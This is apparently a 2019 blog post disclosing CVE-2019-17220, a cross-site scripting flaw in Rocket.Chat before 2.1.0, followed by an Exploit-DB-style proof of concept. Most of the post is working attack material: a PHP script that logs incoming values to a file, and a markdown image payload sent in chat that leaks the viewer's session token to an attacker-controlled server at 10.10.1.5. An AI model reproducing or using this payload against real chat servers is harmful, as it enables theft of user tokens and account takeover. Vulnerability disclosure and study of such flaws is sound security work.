Wednesday, October 2, 2019

Rocket.Chat Cross Site Scripting CVE-2019-17220

Rocket.Chat versions prior to 2.1.0 suffer from a cross-site scripting vulnerability.

As I found out, the service has a security problem that will lead to the disclosure of user information.

Packet Storm
Mitre CVE
NIST
Exploit-DB



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# Title: Rocket.Chat 2.1.0 - Cross-Site Scripting
# Author: 3H34N
# Date: 2019-10-22
# Product: Rocket.Chat
# Vendor: https://rocket.chat/
# Vulnerable Version(s): Rocket.Chat < 2.1.0
# CVE: CVE-2019-17220
# Special Thanks : Ali razmjoo, Mohammad Reza Espargham (@rezesp)

1. Create l33t.php on a web server 


<?php
$output = fopen("logs.txt", "a+") or die("WTF? o.O");
$leet = $_GET['leet']."\n\n";
fwrite($output, $leet);
fclose($output);
?>

2. Open a chat session
3. Send payload with your web server url


![title](http://10.10.1.5/l33t.php?leet=+`{}token`)

4. Token will be written in logs.txt when target seen your message.

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